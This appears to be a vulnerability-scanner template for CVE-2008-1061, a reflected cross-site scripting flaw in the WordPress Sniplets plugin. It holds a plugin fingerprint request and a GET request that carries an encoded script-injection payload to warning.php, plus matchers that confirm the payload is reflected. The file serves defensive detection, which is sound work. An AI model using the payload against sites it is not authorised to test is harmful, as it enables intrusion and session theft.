CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
AI Score
Confidence
High
EPSS
Percentile
80.3%
WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
id: CVE-2008-1061
info:
name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting
author: dhiyaneshDK
severity: medium
description: |
WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability.
reference:
- https://www.exploit-db.com/exploits/5194
- https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881
- https://nvd.nist.gov/vuln/detail/CVE-2008-1061
- http://securityreason.com/securityalert/3706
- https://exchange.xforce.ibmcloud.com/vulnerabilities/40830
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
cvss-score: 4.3
cve-id: CVE-2008-1061
cwe-id: CWE-79
epss-score: 0.00663
epss-percentile: 0.7961
cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: wordpress
product: "sniplets_plugin"
tags: cve2008,cve,xss,wp-plugin,wp,edb,wpscan,wordpress,sniplets
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/sniplets/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Code Snippets'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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